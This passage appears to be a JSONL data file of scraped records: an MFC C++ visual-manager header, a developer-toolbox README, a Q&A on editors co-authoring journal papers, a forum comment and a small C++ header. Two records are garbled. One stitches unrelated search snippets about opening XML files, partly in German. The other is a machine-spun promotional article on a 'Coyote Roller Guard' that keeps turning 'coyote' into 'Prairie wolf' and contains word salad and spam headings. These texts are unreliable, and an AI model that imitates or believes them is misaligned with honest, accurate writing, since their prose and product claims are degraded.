model\nTry to do\n- Emit another event at the end of the current events’ handler; chain logic in this way", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//*******************************************************************************\n// COPYRIGHT NOTES\n// ---------------\n// This is a part of the BCGControlBar Library\n// Copyright (C) 1998-2012 BCGSoft Ltd.\n// All rights reserved.\n//\n// This source code can be used, distributed or modified\n// only under terms and conditions \n// of the accompanying license agreement.\n//*******************************************************************************\n\n// BCGVisualManagerXP.h: interface for the CBCGPVisualManagerXP class.\n//\n//////////////////////////////////////////////////////////////////////\n\n#if !defined(AFX_BCGPVISUALMANAGERXP_H__062013FA_7440_4CEC_AA78_67893D195FFA__INCLUDED_)\n#define AFX_BCGPVISUALMANAGERXP_H__062013FA_7440_4CEC_AA78_67893D195FFA__INCLUDED_\n\n#if _MSC_VER > 1000\n#pragma once\n#endif // _MSC_VER > 1000\n\n#include \"BCGCBPro.h\"\n#include \"BCGPVisualManager.h\"\n#include \"MenuImages.h\"\n\nclass CBCGPStatusBar;\nclass CBCGPBaseControlBar;\n\n\nclass BCGCBPRODLLEXPORT CBCGPVisualManagerXP : public CBCGPVisualManager  \n{\n\tDECLARE_DYNCREATE(CBCGPVisualManagerXP)\n\nprotected:\n\tCBCGPVisualManagerXP(BOOL bIsTemporary = FALSE);\n\npublic:\n\tvirtual ~CBCGPVisualManagerXP();\n\nprotected:\n\tvirtual void OnUpdateSystemColors ();\n\n\tvirtual void OnDrawBarGripper (CDC* pDC, CRect rectGripper, BOOL bHorz, CBCGPBaseControlBar* pBar);\n\tvirtual void OnFillBarBackground (CDC* pDC, CBCGPBaseControlBar* pBar,\n\t\t\t\t\t\t\t\t\tCRect rectClient, CRect rectClip,\n\t\t\t\t\t\t\t\t\tBOOL bNCArea = FALSE);\n\tvirtual void OnDrawBarBorder (CDC* pDC, CBCGPBaseControlBar* pBar, CRect& rect);\n\tvirtual void OnDrawMenuBorder (CDC* pDC, CBCGPPopupMenu* pMenu, CRect rect);\n\tvirtual void OnDrawMenuShadow (CDC* pDC, const CRect& rectClient, const CRect& rectExclude,\n\t\t\t\t\t\t\t\t\tint nDepth,  int iMinBrightness,  int iMaxBrightness,  \n\t\t\t\t\t\t\t\t\tCBitmap* pBmpSaveBottom,  CBitmap* pBmpSaveRight,\n\t\t\t\t\t\t\t\t\tBOOL bRTL);\n\tvirtual void OnDrawSeparator (CDC* pDC, CBCGPBaseControlBar* pBar, CRect rect, BOOL bIsHoriz);\n\tvirtual COLORREF OnDrawMenuLabel (CDC* pDC, CRect rect);\n\t\n\tvirtual void OnFillButtonInterior (CDC* pDC,\n\t\tCBCGPToolbarButton* pButton, CRect rect, CBCGPVisualManager::BCGBUTTON_STATE state);\n\n\tvirtual void OnDrawButtonBorder (CDC* pDC,\n\t\tCBCGPToolbarButton* pButton, CRect rect, CBCGPVisualManager::BCGBUTTON_STATE state);\n\n\tvirtual void OnHighlightMenuItem (CDC*pDC, CBCGPToolbarMenuButton* pButton,\n\t\tCRect rect, COLORREF& clrText);\n\tvirtual COLORREF GetHighlightedMenuItemTextColor (CBCGPToolbarMenuButton* pButton);\n\tvirtual void OnHighlightRarelyUsedMenuItems (CDC* pDC, CRect rectRarelyUsed);\n\tvirtual void OnHighlightQuickCustomizeMenuButton (CDC* pDC, CBCGPToolbarMenuButton* pButton, CRect rect);\n\tvirtual BOOL IsHighlightWholeMenuItem ()\t{\treturn TRUE;\t}\n\n\tvirtual void OnEraseTabsArea (CDC* pDC, CRect rect, const CBCGPBaseTabWnd* pTabWnd);\n\tvirtual void OnDrawTab (CDC* pDC, CRect rectTab,\n\t\t\t\t\t\t\tint iTab, BOOL bIsActive, const CBCGPBaseTabWnd* pTabWnd);\n\tvirtual void OnFillTab (CDC* pDC, CRect rectFill, CBrush* pbrFill, int iTab, BOOL bIsActive, const CBCGPBaseTabWnd* pTabWnd);\n\n\tvirtual void OnDrawTabCloseButton (CDC* pDC, CRect rect, \n\t\t\t\t\t\t\t\t\t\t\t   const CBCGPBaseTabWnd* pTabWnd, \n\t\t\t\t\t\t\t\t\t\t\t   BOOL bIsHighlighted,\n\t\t\t\t\t\t\t\t\t\t\t   BOOL bIsPressed,\n\t\t\t\t\t\t\t\t\t\t\t   BOOL bIsDisabled);\n\tvirtual void OnEraseTabsButton (CDC* pDC, CRect rect, CBCGPButton* pButton,\n\t\t\t\t\t\t\t\t\tCBCGPBaseTabWnd* pWndTab);\n\tvirtual void OnDrawTabsButtonBorder (CDC* pDC, CRect& rect, \n\t\t\t\t\t\t\t\t\t\tCBCGPButton* pButton, UINT uiState, CBCGPBaseTabWnd* pWndTab);\n\n\tvirtual COLORREF OnDrawControlBarCaption (CDC* pDC, CBCGPDockingControlBar* pBar, \n\t\tBOOL bActive, CRect rectCaption, CRect rectButtons);\n\n\tvirtual void OnDrawCaptionButton (CDC* pDC, CBCGPCaptionButton* pButton,\n\t\t\t\t\t\t\t\t\tBOOL bActive, BOOL bHorz, BOOL bMaximized, BOOL bDisabled, \n\t\t\t\t\t\t\t\t\tint nImageID = -1);\n\tvirtual void OnDrawCaptionButtonIcon (CDC* pDC, \n\t\t\t\t\t\t\t\t\t\t\tCBCGPCaptionButton* pButton,\n\t\t\t\t\t\t\t\t\t\t\tCBCGPMenuImages::IMAGES_IDS id,\n\t\t\t\t\t\t\t\t\t\t\tBOOL bActive, BOOL bDisabled,\n\t\t\t\t\t\t\t\t\t\t\tCPoint ptImage);\n\n\tvirtual void OnDrawDockingBarScrollButton(CDC* pDC, CBCGPDockingBarScrollButton* pButton);\n\n\tvirtual void OnDrawComboDropButton (CDC* pDC, CRect rect,\n\t\t\t\t\t\t\t\t\t\tBOOL bDisabled,\n\t\t\t\t\t\t\t\t\t\tBOOL bIsDropped,\n\t\t\t\t\t\t\t\t\t\tBOOL bIsHighlighted,\n\t\t\t\t\t\t\t\t\t\tCBCGPToolbarComboBoxButton* pButton);\n\tvirtual void OnDrawComboBorder (CDC* pDC, CRect rect,\n\t\t\t\t\t\t\t\t\t\tBOOL bDisabled,\n\t\t\t\t\t\t\t\t\t\tBOOL bIsDropped,\n\t\t\t\t\t\t\t\t\t\tBOOL bIsHighlighted,\n\t\t\t\t\t\t\t\t\t\tCBCGPToolbarComboBoxButton* pButton);\n\tvirtual void OnDrawEditBorder (CDC* pDC, CRect rect,\n\t\t\t\t\t\t\t\t\t\tBOOL bDisabled,\n\t\t\t\t\t\t\t\t\t\tBOOL bIsHighlighted,\n\t\t\t\t\t\t\t\t\t\tCBCGPToolbarEditBoxButton* pButton);\n\n\tvirtual COLORREF GetToolbarButtonTextColor (CBCGPToolbarButton* pButton,\n\t\t\t\t\t\t\t\t\t\t\t\tCBCGPVisualManager::BCGBUTTON_STATE state);\n\tvirtual BOOL IsToolBarButtonDefaultBackground (CBCGPToolbarButton* pButton,\n\t\t\t\t\t\t\t\t\t\t\t\tCBCGPVisualManager::BCGBUTTON_STATE state);\n\n\tvirtual void OnDrawTearOffCaption (CDC* pDC, CRect rect, BOOL bIsActive);\n\tvirtual void OnDrawMenuResizeBar (CDC* pDC, CRect rect, int nResizeFlags);\n\tvirtual void OnDrawMenuScrollButton (CDC* pDC, CRect rect, BOOL bIsScrollDown, \n\t\t\t\t\t\t\t\t\t\tBOOL bIsHighlited, BOOL bIsPressed, BOOL bIsDisabled);\n\n\tvirtual void GetCalendarColors (const CBCGPCalendar* pCalendar,\n\t\t\t\t   CBCGPCalendarColors& colors);\n\tvirtual void OnDrawSpinButtons (CDC* pDC, CRect rectSpin, int nState, BOOL bOrientation, CBCGPSpinButtonCtrl* pSpinCtrl);\n\tvirtual void OnFillSpinButton (CDC* pDC, CBCGPSpinButtonCtrl* pSpinCtrl, CRect rect, BOOL bDisabled);\n\n\tvirtual COLORREF OnFillCommandsListBackground (CDC* pDC, CRect rect, BOOL bIsSelected = FALSE);\n\tvirtual void OnDrawMenuArrowOnCustomizeList (CDC* pDC, CRect rectCommand, BOOL bSelected);\n\n\tvirtual void OnDrawMenuSystemButton (CDC* pDC, CRect rect, UINT uiSystemCommand, \n\t\t\t\t\t\t\t\t\t\tUINT nStyle, BOOL bHighlight);\n\tvirtual void OnDrawStatusBarPaneBorder (CDC* pDC, CBCGPStatusBar* pBar,\n\t\t\t\t\tCRect rectPane, UINT uiID, UINT nStyle);\n\n\tvirtual int GetMenuImageMargin () const\n\t{\n\t\treturn 3;\n\t}\n\n\tvirtual int GetPopupMenuGap () const\n\t{\n\t\treturn 0;\n\t}\n\n\tvirtual void OnDrawButtonSeparator (CDC* pDC,\n\t\tCBCGPToolbarButton* pButton, CRect rect, CBCGPVisualManager::BCGBUTTON_STATE state,\n\t\tBOOL bHorz);\n\n\tvirtual COLORREF OnFillMiniFrameCaption (CDC* pDC, CRect rectCaption, \n\t\t\t\t\t\t\t\t\t\t\tCBCGPMiniFrameWnd* pFrameWnd, \n\t\t\t\t\t\t\t\t\t\t\tBOOL bActive);\n\tvirtual void OnDrawMiniFrameBorder (CDC* pDC, CBCGPMiniFrameWnd* pFrameWnd,\n\t\t\t\t\t\t\t\t\t\tCRect rectBorder, CRect rectBorderSize);\n\tvirtual void OnDrawFloatingToolbarBorder (\tCDC* pDC, CBCGPBaseToolBar* pToolBar, \n\t\t\t\t\t\t\t\t\t\t\t\tCRect rectBorder, CRect rectBorderSize);\n\n\tvirtual COLORREF GetToolbarHighlightColor ()\n\t{\n\t\treturn m_clrHighlight;\n\t}\n\n\tvirtual COLORREF GetHighlightedColor(UINT nType);\n\n\tvirtual COLORREF OnFillCaptionBarButton (CDC* pDC, CBCGPCaptionBar* pBar,\n\t\t\t\t\t\t\t\t\t\t\tCRect rect, BOOL bIsPressed, BOOL bIsHighlighted, \n\t\t\t\t\t\t\t\t\t\t\tBOOL bIsDisabled, BOOL bHasDropDownArrow,\n\t\t\t\t\t\t\t\t\t\t\tBOOL bIsSysButton);\n\tvirtual void OnDrawCaptionBarButtonBorder (CDC* pDC, CBCGPCaptionBar* pBar,\n\t\t\t\t\t\t\t\t\t\t\tCRect rect, BOOL bIsPressed, BOOL bIsHighlighted, \n\t\t\t\t\t\t\t\t\t\t\tBOOL bIsDisabled, BOOL bHasDropDownArrow,\n\t\t\t\t\t\t\t\t\t\t\tBOOL bIsSysButton);\n\tvirtual void OnDrawCaptionBarInfoArea (CDC* pDC, CBCGPCaptionBar* pBar, CRect rect);\n\n#ifndef BCGP_EXCLUDE_PROP_LIST\n\tvirtual COLORREF GetPropListGroupColor (CBCGPPropList* pPropList);\n\tvirtual COLORREF GetPropListGroupTextColor (CBCGPPropList* pPropList);\n#endif\n\n\t// Tasks pane:\n#ifndef BCGP_EXCLUDE_TASK_PANE\n\tvirtual void OnDrawTasksGroupCaption(CDC* pDC, CBCGPTasksGroup* pGroup, \n\t\t\t\t\t\t\t\t\t\tBOOL bIsHighlighted = FALSE, BOOL bIsSelected = FALSE, \n\t\t\t\t\t\t\t\t\t\tBOOL bCanCollapse = FALSE);\n\n\tvirtual void OnFillTasksGroupInterior(CDC* pDC, CRect rect, BOOL bSpecial = FALSE);\n\tvirtual void OnDrawTasksGroupAreaBorder(CDC* pDC, CRect rect, BOOL bSpecial = FALSE, \n\t\t\t\t\t\t\t\t\t\t\tBOOL bNoTitle = FALSE);\n\tvirtual void OnDrawTask(CDC* pDC, CBCGPTask* pTask, CImageList* pIcons, \n\t\t\t\t\t\t\tBOOL bIsHighlighted = FALSE, BOOL bIsSelected = FALSE);\n\n\tvirtual void OnDrawScrollButtons(CDC* pDC, const CRect& rect, const int nBorderSize,\n\t\t\t\t\t\t\t\t\tint iImage, BOOL bHilited);\n#endif // BCGP_EXCLUDE_TASK_PANE\n\n\tBOOL IsLook2000Allowed () const\n\t{\n\t\treturn FALSE;\n\t}\n\n\tvirtual void OnDrawSplitterBorder (CDC* pDC, CBCGPSplitterWnd* pSplitterWnd, CRect rect);\n\tvirtual void OnDrawSplitterBox (CDC* pDC, CBCGPSplitterWnd* pSplitterWnd, CRect& rect);\n\n\t// Calculator:\n\tvirtual BOOL OnDrawCalculatorButton (CDC* pDC, CRect rect, CBCGPToolbarButton* pButton, CBCGPVisualManager::BCGBUTTON_STATE state, int cmd /* CBCGPCalculator::CalculatorCommands */, CBCGPCalculator* pCalculator);\n\tvirtual BOOL OnDrawCalculatorDisplay (CDC* pDC, CRect rect, const CString& strText, BOOL bMem, CBCGPCalculator* pCalculator);\n\n\t// Edit box:\n\tvirtual BOOL OnDrawBrowseButton (CDC* pDC, CRect rect, CBCGPEdit* pEdit, CBCGPVisualManager::BCGBUTTON_STATE state, COLORREF& clrText);\n\tvirtual void OnDrawEditClearButton(CDC* pDC, CBCGPButton* pButton, CRect rect);\n\n\tvirtual COLORREF GetAutoHideButtonTextColor (CBCGPAutoHideButton* pButton);\n\n\t// Appbar window:\n\tvirtual void OnDrawAppBarBorder (CDC* pDC, CBCGPAppBarWnd* pAppBarWnd,\n\t\t\t\t\t\t\t\t\tCRect rectBorder, CRect rectBorderSize);\n\t\n\tvirtual void GetSmartDockingBaseMarkerColors (\n\t\tCOLORREF& clrBaseGroupBackground,\n\t\tCOLORREF& clrBaseGroupBorder);\n\n\tvirtual COLORREF OnFillListBoxItem (CDC* pDC, CBCGPListBox* pListBox, int nItem, CRect rect, BOOL bIsHighlihted, BOOL bIsSelected);\n\n\tvirtual COLORREF OnFillComboBoxItem(CDC* pDC, CBCGPComboBox* pComboBox, int nIndex, CRect rect, BOOL bIsHighlihted, BOOL bIsSelected);\n\n\t// Popup window:\n#ifndef BCGP_EXCLUDE_POPUP_WINDOW\n\tvirtual void OnDrawPopupWindowBorder (CDC* pDC, CRect rect);\n\tvirtual COLORREF OnDrawPopupWindowCaption (CDC* pDC, CRect rectCaption, CBCGPPopupWindow* pPopupWnd);\n\tvirtual void OnErasePopupWindowButton (CDC* pDC, CRect rectClient, CBCGPPopupWndButton* pButton);\n\tvirtual void OnDrawPopupWindowButtonBorder (CDC* pDC, CRect rectClient, CBCGPPopupWndButton* pButton);\n\tvirtual void OnFillPopupWindowBackground (CDC* pDC, CRect rect);\n#endif\n\n\t// Day planner:\n#ifndef BCGP_EXCLUDE_PLANNER\n\tvirtual COLORREF OnFillPlannerCaption (CDC* pDC, CBCGPPlannerView* pView,\n\t\tCRect rect, BOOL bIsToday, BOOL bIsSelected, BOOL bNoBorder = FALSE, BOOL bHorz = TRUE);\n\tvirtual void OnDrawPlannerTimeLine (CDC* pDC, CBCGPPlannerView* pView, CRect rect);\n#endif // BCGP_EXCLUDE_PLANNER\n\n\t// Grid control:\n#ifndef BCGP_EXCLUDE_GRID_CTRL\n\tvirtual void OnDrawGridHeaderMenuButton (CBCGPGridCtrl* pCtrl, CDC* pDC, CRect rect, \n\t\tBOOL bHighlighted, BOOL bPressed, BOOL bDisabled);\n\tvirtual BOOL OnSetGridColorTheme (CBCGPGridCtrl* pCtrl, BCGP_GRID_COLOR_DATA& theme);\n#endif\n\n\tvirtual void OnDrawDateTimeDropButton (CDC* pDC, CRect rect, BOOL bDisabled, BOOL bPressed, BOOL bHighlighted, CBCGPDateTimeCtrl* pCtrl);\n\n\t// Breadcrumb control:\n\tvirtual void BreadcrumbDrawItem (CDC& dc, CBCGPBreadcrumb* pControl, BREADCRUMBITEMINFO* pItemInfo, CRect rectItem, UINT uState, COLORREF color);\n\tvirtual void BreadcrumbDrawArrow (CDC& dc, CBCGPBreadcrumb* pControl, BREADCRUMBITEMINFO* pItemInfo, CRect rect, UINT uState, COLORREF color);\n\tvirtual void BreadcrumbDrawLeftArrow (CDC& dc, CBCGPBreadcrumb* pControl, CRect rect, UINT uState, COLORREF color);\n\tvirtual void BreadcrumbDrawItemBackground (CDC& dc, CBCGPBreadcrumb* pControl, BREADCRUMBITEMINFO* pItemInfo, CRect rectItem, UINT uState, COLORREF color);\n\tvirtual void BreadcrumbDrawArrowBackground (CDC& dc, CBCGPBreadcrumb* pControl, BREADCRUMBITEMINFO* pItemInfo, CRect rectArrow, UINT uState, COLORREF color);\n\tvirtual void BreadcrumbDrawLeftArrowBackground (CDC& dc, CBCGPBreadcrumb* pControl, CRect rect, UINT uState, COLORREF color);\n\n#ifndef BCGP_EXCLUDE_RIBBON\n\t// Ribbon control:\n\tvirtual COLORREF OnFillRibbonButton (\n\t\t\t\t\tCDC* pDC, \n\t\t\t\t\tCBCGPRibbonButton* pButton);\n\n\tvirtual COLORREF OnFillRibbonPinnedButton (\n\t\t\t\t\tCDC* pDC, \n\t\t\t\t\tCBCGPRibbonButton* pButton, BOOL& bIsDarkPin);\n\n\tvirtual void OnDrawRibbonButtonBorder (\n\t\t\t\t\tCDC* pDC, \n\t\t\t\t\tCBCGPRibbonButton* pButton);\n\n\tvirtual void OnDrawRibbonPinnedButtonBorder (\n\t\t\t\t\tCDC* pDC, \n\t\t\t\t\tCBCGPRibbonButton* pButton);\n\n\tvirtual void OnDrawRibbonCategoryScroll (\n\t\t\t\t\tCDC* pDC, \n\t\t\t\t\tCBCGPRibbonCategoryScroll* pScroll);\n\n\tvirtual void OnDrawRibbonMenuCheckFrame (\n\t\t\t\t\tCDC* pDC,\n\t\t\t\t\tCBCGPRibbonButton* pButton, \n\t\t\t\t\tCRect rect);\n\n\tvirtual void OnFillRibbonMenuFrame (\n\t\t\t\t\tCDC* pDC, \n\t\t\t\t\tCBCGPRibbonMainPanel* pPanel, \n\t\t\t\t\tCRect rect);\n\n\tvirtual void OnDrawRibbonRecentFilesFrame (\n\t\t\t\t\tCDC* pDC, \n\t\t\t\t\tCBCGPRibbonMainPanel* pPanel, \n\t\t\t\t\tCRect rect);\n\n\tvirtual COLORREF OnDrawRibbonStatusBarPane (CDC* pDC, CBCGPRibbonStatusBar* pBar,\n\t\t\t\t\tCBCGPRibbonStatusBarPane* pPane);\n\n\tvirtual void GetRibbonSliderColors (CBCGPRibbonSlider* pSlider, \n\t\t\t\t\tBOOL bIsHighlighted, \n\t\t\t\t\tBOOL bIsPressed,\n\t\t\t\t\tBOOL bIsDisabled,\n\t\t\t\t\tCOLORREF& clrLine,\n\t\t\t\t\tCOLORREF& clrFill);\n\tvirtual void OnDrawRibbonQATSeparator (CDC* pDC, CBCGPRibbonSeparator* pSeparator, CRect rect);\n\n\tvirtual void OnDrawRibbonColorPaletteBox (CDC* pDC, CBCGPRibbonColorButton* pColorButton,\n\t\tCBCGPRibbonPaletteIcon* pIcon,\n\t\tCOLORREF color, CRect rect, BOOL bDrawTopEdge, BOOL bDrawBottomEdge, \n\t\tBOOL bIsHighlighted, BOOL bIsChecked, BOOL bIsDisabled);\n\n\tvirtual COLORREF OnDrawRibbonPanel (\n\t\t\t\t\tCDC* pDC,\n\t\t\t\t\tCBCGPRibbonPanel* pPanel, \n\t\t\t\t\tCRect rectPanel,\n\t\t\t\t\tCRect rectCaption);\n\n#endif\n\n\t// Push button:\n\tvirtual BOOL OnDrawPushButton (CDC* pDC, CRect rect, CBCGPButton* pButton, COLORREF& clrText);\n\tvirtual BOOL IsDrawFocusRectOnPushButton(CBCGPButton* /*pButton*/) \t{ return FALSE; }\n\n\tCBrush\t\tm_brGripperHorz;\n\tCBrush\t\tm_brGripperVert;\n\n\tCOLORREF\tm_clrBarBkgnd;\t\t\t// Control bar background color (expect menu bar)\n\tCBrush\t\tm_brBarBkgnd;\n\n\tCOLORREF\tm_clrMenuRarelyUsed;\n\tCBrush\t\tm_brMenuRarelyUsed;\n\n\tCOLORREF\tm_clrMenuLight;\t\t\t// Color of the light menu area\n\tCBrush\t\tm_brMenuLight;\n\n\tCBrush\t\tm_brMenuConnect;\n\n\tCOLORREF\tm_clrInactiveTabText;\n\tCBrush\t\tm_brTabBack;\n\n\tCOLORREF\tm_clrHighlight;\t\t\t// Highlighted toolbar/menu item color\n\tCBrush\t\tm_brHighlight;\n\n\tCOLORREF\tm_clrHighlightDn;\t\t// Highlighted and pressed toolbar item color\n\tCBrush\t\tm_brHighlightDn;\n\n\tCOLORREF\tm_clrHighlightChecked;\n\tCBrush\t\tm_brHighlightChecked;\n\tCOLORREF\tm_clrPressedButtonBorder;\t// Used in derived classes\n\n\tCOLORREF\tm_clrGripper;\n\n\tCOLORREF\tm_clrSeparator;\n\tCPen\t\tm_penSeparator;\n\n\tCOLORREF\tm_clrPaneBorder;\t\t// Status bar pane border\n\n\tCOLORREF\tm_clrMenuBorder;\t\t// Menu border\n\tCOLORREF\tm_clrMenuItemBorder;\t// Highlighted menu item border\n\tCPen\t\tm_penMenuItemBorder;\n\n\tCBrush\t\tm_brFloatToolBarBorder;\t// Floating toolbar border\n\n\tBOOL\t\tm_bConnectMenuToParent;\n\n\tBOOL\t\tm_bShdowDroppedDownMenuButton;\n\n\tBOOL\t\tm_bDrawLastTabLine;\n\n\tCOLORREF\tm_clrTaskPaneHotText;\n\tCOLORREF\tm_clrMenuSeparator;\n\n\tCOLORREF\tm_clrDockingBarScrollButton;\n\tCOLORREF\tm_clrDockingBarScrollButtonBorder;\n\n\tvirtual void CreateGripperBrush ();\n\tvirtual void ExtendMenuButton (CBCGPToolbarMenuButton* pMenuButton, CRect& rect);\n\n\tvirtual COLORREF GetWindowColor () const;\n\n\tvirtual CBrush& GetDlgButtonsAreaBrush(CWnd* pDlg, COLORREF* pclrLine = NULL);\n\n\tvirtual void OnFillHighlightedArea (CDC* pDC, CRect rect, CBrush* pBrush,\n\t\tCBCGPToolbarButton* pButton);\n};\n\n#endif // !defined(AFX_BCGPVISUALMANAGERXP_H__062013FA_7440_4CEC_AA78_67893D195FFA__INCLUDED_)", "source": "cpt_stack_code", "language": "code", "token_count": 4547, "token_count_with_eod": 4548, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The all-in-one toolbox for developers. https://bazinga.tools\nYou Are in Good Company\nBAZINGA.TOOLS is the best all-in-one toolbox for all your needs…Bazinga!\n—— Sheldon Lee Cooper\nYour Privacy Is Guaranteed\nYour data won’t leave your browser.\n- ✅ No cookies\n- ✅ No logging\n- ✅ No IP fingerprinting\n- ✅ No exception reports\n- ✅ No popups\n- ✅ Fully open source\nFirst, install dependencies:\nSecond, run the development server:\nnpm run dev\nOpen http://localhost:3000 with your browser to see the result. The page auto-updates as you edit the file.\nAdd New Tools\nAll tools are located at\npages/. To add a new tool, just follow the convention of the exsiting tools. The tech stack is TypeScript + React + CSS Modules.\nYour feedback and contributions are welcome!\n- Add new tools\n- Improve existing tools\n- Support offline access\n- Integrations (with Alfred, Raycast, Visual Studio Code…)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 223, "token_count_with_eod": 224, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm about to submit my first scholarly manuscript to the top journal in my field, which has an acceptance rate of 20-25%. One of the co-authors on my paper, besides being generally well-known in this field, happens to be on the editorial board of this journal as an associate editor. Obviously I imagine that he'll automatically be excluded from the review process due to conflict of interest, but does their affiliation with the journal increase the chance of the paper getting accepted? I should note that the paper has already been through several rounds of internal revision and I've received excellent feedback so far from both this particular coauthor and others.\nIn principle, no.\nIn actuality? It likely does, under a couple of different mechanisms:\n- An editor might be slightly more likely to give your paper the \"benefit of the doubt\" if its a borderline case between Revise/Reject, etc. This may also be true if your co-authors are \"known\" names, regardless of their editorial position.\n- An AE at a journal likely has extensive experience writing for, and reviewing, papers in that journal. As such, they probably have a good sense what kind of papers they're looking for, the tone they should be written in, etc.\nSo the answer, in a practical sense, is likely \"Yes, but not by a huge amount.\" And possibly not after controlling for recognition and experience.\nAll things considered, a paper coauthored by an editor should not improve the chances of getting accepted.\nIt is unlikely that the reviewers will be aware that one of the coauthors is an associate editor, so their reviews will be probably not be influenced by that. This is even more obvious in case the reviews are double-blind.\nIt is possible (although also unlikely) that the editor responsible for your paper might take a slightly more favorable view to your paper in case the reviews are borderline. However, in any case this will not improve your chances much.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 405, "token_count_with_eod": 406, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This site offers Lessons, examples, and links on the C# programming language. The easiest way to open an XML file is to use a text editor, such as Notepad.\nOpen XML-Formate und -Dateinamenerweiterungen - Office-Support Die Open XML-Formate bieten zahlreiche Vorteile – nicht nur für Entwickler und die von Ihnen erbauten Lösungen, sondern auch für einzelne Personen und Organisationen aller Größen: Komprimierte Dateien Dateien werden automatisch komprimiert und sind in einigen Fällen bis zu 75 Prozent kleiner. 4 Ways to Open XML - wikiHow 26.07.2019 · Find the XML file you want to open. While you can use any basic text editor to open an XML file (see above), opening the file in a browser may make it a little easier to navigate. This is because most browsers automatically indent nested tags and allow you to collapse each section of the the XML tree. How to open and read XML file in C# , XmlReader , XmlTextReader\nHow to open and read XML file in C# , XmlReader , XmlTextReader How to open and read XML file in C# XML is a self describing language and it gives the data as well as the rules to extract what data it contains. Reading an XML file means that we are reading the information embedded in XML tags in an XML file. C# XML Parser. In the previous program we create an XML file and named it as products.xml. The Error: Failed to open xml file ' - GIANTS Software - Forum Dürfte trotzdem ganz einfach zu finden sein, weil du dann in der i3d höchstwahrscheinlich einen Files-Eintrag ohne Pfad finden wirst. Und die ID genau davon ist bei Open XML Formats and file name extensions - Office Support With the file open in your Office app, click File > Save as (or Save a copy, if the file is stored on OneDrive or SharePoint) and make sure the Save as type is set to the modern format. This will create a new copy of your file, in the Open XML format. What are the XML file name extensions? XML - Datei öffnen Download – kostenlos – CHIP\nc# - XML Parsing - Read a Simple XML File and Retrieve Values - Stack Open Tasks.xml ; Load the first Task tag. In that task retrieve the values of the Name, Location and Arguments tags. Then open the RunWhen tag and retrieve the values of the Time and Date tags. After that open the Days tag and retrieve the value of each individual tag within. Retrieve the value of Enabled. What Is An XML File (And How Do I Open One)? If don't really need to edit XML files, but just need to view them on occasion, the browser you're using to read this article is well-suited to the job. And in fact, your default web browser is likely set up as the default viewer for XML files. So, double-clicking an XML file should open it in your browser. 4 Ways to Open XML - wikiHow Find the XML file you want to open. While you can use any basic text editor to open an XML file (see above), opening the file in a browser may make it a little easier to navigate. This is because most browsers automatically indent nested tags and allow you to collapse each section of the the XML tree. How to Open XML : Beginner Computer Tips - YouTube\nTo see an animation run, open it in an SVG animation capable browser or viewer, such as Opera (8+), Safari (4+), Chrome (2+), or Firefox (4+). Internet Explorer (9+) supports SVG, but not SMIL. Open Data Kit. 1,4 tis. To se mi líbí. Open Data Kit (ODK) is a free and open-source set of tools which help organizations author, field, and manage A C is a C/C++ Source Code file. Learn how to open a .C file or convert a C file to a different file format. How to open an Excel file from C# , How read the Excel cell values from C# program The Efficient XML Interchange Working Group is responsible for developing ways to exchange XML documents in ways that are as efficient as is practical without compromising the interoperability of XML itself.\nHere's the same example using C# 3.0 features, including type wiki file var file = \"ExportedWikiPages.xml\"; // Open XML file", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 906, "token_count_with_eod": 907, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Yes, it is a fantastic solution - very easy to learn and use.\nI am currently using it to make a web based scheduling system for a customer, and I am simply amazed at what it can do.\nIt doesn't do vector based animation or have a time line the way flash does. It also wont make stand alone .exe files, but it is great at everything else on your list - and the rate at which it is growing and improving is incredible.\nI would highly recommend it.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Coyote Roller Guard: The Ultimate Solution for Coyote Deterrence\nResiding in locations with a coyote population can pose a threat to the safety and security of your family pets and animals. These intelligent and agile animals are notorious for finding ways to breach fences and get in homes. If you’re seeking a reliable and efficient option to shield your residential or commercial property, then the Coyote Roller Guard is your response.\nPrairie Wolf Roller Guard is a specifically designed and copyrighted system that protects against coyotes from gaining access to your home. The system consists of a collection of rotating rollers that can be attached to the top of existing fencings, walls, or gateways. This ingenious innovation creates a physical barrier that hinders prairie wolves from climbing up or jumping over fencings.\nOne of the main benefits of the Coyote Roller Guard is its simplicity and convenience of installment. You can conveniently attach the rollers to your existing fencing with some fundamental tools and equipment. The rollers are made of long lasting materials like aluminum or PVC, which ensures their longevity and effectiveness.\nWhen a coyote attempts to scale the fence, the turning rollers spin, stopping the animal from getting a grip and creating it to lose its balance. This motion-based deterrent successfully stops coyotes from climbing over the fence and entering your residential property. It is a gentle strategy that does not trigger any kind of injury to the pets.\nOne more advantage of the Coyote Roller Guard is its versatility. It can be installed on different kinds of fencings, consisting of chain-link, wooden, or functioned iron fencings. Whether you have a residential property, a farm, or a commercial room, this system can give the security you require against prairie wolf intrusions.\nAlong with its main function of preventing coyotes from accessing your residential property, the Prairie wolf Roller Guard has various other benefits as well. It can additionally prevent various other animals, such as raccoons, opossums, and also thiefs. Its presence on your fence sends out a clear message that your residential or commercial property is safe and secure and off-limits to unwanted intruders.\nIn conclusion, if you’re encountering coyote-related problems and need a trustworthy remedy to secure your property, the Prairie wolf Roller Guard is a game-changer. Its straightforward installment, efficiency, and convenience make it a superb investment for both domestic and industrial homeowner. Do not let coyotes compromise the safety and security and wellness of your family pets or animals; mount the Prairie wolf Roller Guard and take pleasure in comfort.\nFinding Ways To Keep Up With\nThe Best Advice About I’ve Ever Written", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#pragma once\n\n#include <string>\n#include <iostream>\n\n#include \"cpp_properties/lexer.hpp\"\n\nstd::string propertiesReadField(const std::string &propertiesFile, const std::string fieldName);", "source": "cpt_stack_code", "language": "code", "token_count": 42, "token_count_with_eod": 43, "validation_channel": "code", "validation_source": "cpt_stack_code"}
